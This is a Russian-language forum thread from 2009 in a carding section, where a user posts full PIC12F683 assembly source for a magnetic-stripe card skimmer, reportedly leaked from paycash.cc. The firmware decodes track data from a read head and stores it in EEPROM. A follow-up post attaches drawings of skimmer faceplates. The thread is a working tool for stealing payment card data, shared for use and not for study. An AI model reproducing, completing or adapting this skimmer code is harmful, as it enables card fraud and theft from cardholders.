Изучение уязвимостей электронных систем.
 
key programming immo tools emergency start device программаторы ключа заводилки Кодграббер штатных охранных систем, toyota, lexus, subaru.

Вернуться   Изучение уязвимостей электронных систем > Фрикинг > Пластиковые карты

Пластиковые карты Магнитные карты, смарт карты, таксофонные карты и тд.

Ответ
 
Опции темы
Старый 15.01.2009, 13:25   #1
mC36
Кидала
 
Регистрация: 15.02.2006
Сообщений: 81
Поблагодарил: 0
Поблагодарили 4 раз в 3 сообщениях
mC36 стоит на развилке
По умолчанию Исходники под ским

Схема где то тут пробегала, ским пишет данные в епромку, то есть по ходу дела магтек-пик-епром. Слито paycach.cc

PIC: 12F683

PROPERTY OF PAYCASH.CC

;****Include and config****
; ERRORLEVEL -302 ;remove message about using proper bank
include "P12F683.INC"
__CONFIG _CP_OFF&_WDT_OFF&_PWRTE_ON&_INTRC_OSC_NOCLKOUT;&_L VP_OFF

;*****Set up Registers/Constants****

COUNTER equ 0x20 ;count from 0 to 5
DATAREG equ 0x21 ;working register for databits
REGISTER equ 0x23 ;start register for weeprom

GREEN equ d'4' ;GP4
RED equ d'5' ;GP5
CP equ 0x03 ;pin GP3

STARTSENT equ 0x7b ;start sentinel checker
DATACOUNT equ 0x7c ;counter for number of bytes read
COUNT1 equ 0x7d ;First counter for Pause
COUNT2 equ 0x7e ;Second counter for Pause
COUNT3 equ 0x7f ;Third counter for Pause


org 0x00 ;This is where the PC points to on power up and reset
goto Start ;Goto our main program

;****Interrupt Routine
org 0x04 ;interrupt routine start
btfsc GPIO,CP ;if CP=1, goto WEEPROM write
goto WEEPROM ;if CP=1, goto WEEPROM write
movf GPIO,W ;move input to W
andlw 0x01 ;clear all but zero bit
addwf DATAREG,F ;put bit in datareg
btfsc STARTSENT,0 ;check startsent status,
;0=startsent hasn't been reached, 1=startsent occured
goto SSEND ;if startsent==1, goto SSEND,
btfsc DATAREG,0 ;if startsent==0, check DATAREG.0
goto Done ;if datareg==1, goto done
incf STARTSENT,F ;if datareg==0, increment startsent
SSEND
decfsz COUNTER,F ;decrement COUNTER, if 0 skip goto
goto Done
;if COUNTER==0
comf DATAREG,F ; complement databyte
movlw 0x1F ; move 00011111 to W
andwf DATAREG,W ; clear the high 3 bits.
btfsc STATUS,Z ; if z==0, then goto reset
goto Reset
movwf INDF ; move w to FSRpointer
incf FSR,F ; increment FSRpointer
incf DATACOUNT,F ; increment DATACOUNT
Reset
movlw 0x05 ; reinitialize COUNTER with 5
movwf COUNTER ; reinitialize COUNTER with 5
clrf DATAREG

Done
bcf STATUS,C ;clear carry bit
rlf DATAREG,F ;rotate register left through carry
bcf INTCON,INTF ;clear interrupt flag INTCON.1
retfie


;****beginning of program
Start
clrf DATACOUNT
clrf STARTSENT
clrf GPIO
clrf DATAREG
movlw 0x05
movwf COUNTER ;initialize COUNTER with 5
movlw 0x23
movwf FSR ;initialize FSR to start at user register space 0x23
movlw 0x07 ;Set GP<2:0> to
movwf CMCON0 ;digital I/O
movlw b'00000100' ;WHAT IS THIS????????
movlw b'10011000' ;Interrupts enabled, External,GPchange enabled
movwf INTCON ;Interrupts enabled, External,GPchange enabled
bsf STATUS,RP0 ;switch to bank 1
clrf ANSEL ;must clear ansel to make digital i/o
movlw b'00001101' ;initialize tris i/o
movwf TRISIO ;GP0,GP2,GP3 input, rest output.
movlw b'01110001' ;set osccon, sets clock to 8MHz
movwf OSCCON ;set osccon, sets clock to 8MHz
bcf OPTION_REG,INTEDG ;set edge trigger in option reg falling edge
bcf STATUS,RP0 ;switch to bank 0

bsf GPIO,RED
call Pause ;blink RED led once
bcf GPIO,RED

bsf STATUS,RP0 ;switch to bank 1
;loop to clear all eeprom
clrf EEADR
CLREEP
clrf EEDAT ;initialize eedat register
BSF EECON1,WREN ;Enable write
MOVLW 0x55 ;required sequence
MOVWF EECON2 ;required sequence
MOVLW 0xAA ;required sequence
MOVWF EECON2 ;required sequence
BSF EECON1,WR ;Start the write
CLRWR
btfsc EECON1,WR ;
goto CLRWR ;wait for write to finish
incfsz EEADR,F ;clear next address (goes from 00 to FF)
goto CLREEP ;
clrf EEADR ;clear EEADR
decf EEADR,F ;decrement EEADR because WEEPROM routine increments it first.
bcf STATUS,RP0 ;back to bank 0
bsf GPIO,RED
call Pause ;blink RED led once
bcf GPIO,RED
;****main program
loop
bsf GPIO,GREEN ;light Green LED
goto loop


;****EEPROM WRITE****
; loop, write data from FSR (initially 0x23) to DATACOUNT, need indirect addressing
WEEPROM
bcf GPIO,GREEN
movlw 0x23
movwf FSR
movf DATACOUNT,W
EELOOP
bcf STATUS,RP0 ; bank 0
movf INDF,W ; move contents of FSRpointer to w
bsf STATUS,RP0 ; EEPROM write - switch to Bank 1
incf EEADR,F ; increment EEADR
movwf EEDATA ; move W into EEDATA
BSF EECON1,WREN ; Enable write
movlw 0x55 ; Required Sequence
movwf EECON2 ; Required Sequence
movlw 0xAA ; Required Sequence
movwf EECON2 ; Required Sequence
bsf EECON1,WR ; Start the write
WRDONE
btfsc EECON1,WR ;
goto WRDONE ; wait for write to finish
bcf STATUS,RP0 ; back to bank 0
incf FSR,F ; increment FSR
decfsz DATACOUNT,F
goto EELOOP
bsf GPIO,RED ;light LED saying weeprom is over
call Pause
bcf INTCON,GPIF ;clear RBinterrupt flag
retfie

Pause
movlw 03h ;Change this number to change the length of Pause
movwf COUNT3
movlw 0ffh
movwf COUNT1
movwf COUNT2

Pause1
decfsz COUNT1,F
goto Pause1
decfsz COUNT2,F
goto Pause1
decfsz COUNT3,F
goto Pause1
return
end
mC36 вне форума   Ответить с цитированием
Старый 15.01.2009, 20:33   #2
mC36
Кидала
 
Регистрация: 15.02.2006
Сообщений: 81
Поблагодарил: 0
Поблагодарили 4 раз в 3 сообщениях
mC36 стоит на развилке
По умолчанию

в догонку - чертежи морд

Удачи в творчестве
Миниатюры
pics.2.jpg   pics.3.jpg  
Вложения
Тип файла: pdf Moka.PDF (1.32 Мб, 27 просмотров)
Тип файла: pdf Замок.PDF (1.37 Мб, 23 просмотров)
mC36 вне форума   Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ИСХОДНИКИ Платы под STM32f4 KiCad (для своих девайсов) AliStark ARM 1 18.07.2015 18:58
Исходники Continuous Документация 12 24.11.2014 00:04
доки\исходники , разбор кода на с# vek Программирование микроконтроллеров 8 22.03.2012 22:00
ищу исходники простенькой GPS vilkin Спутниковые системы 8 26.08.2006 03:21


Текущее время: 03:06. Часовой пояс GMT +4.


Перевод: zCarot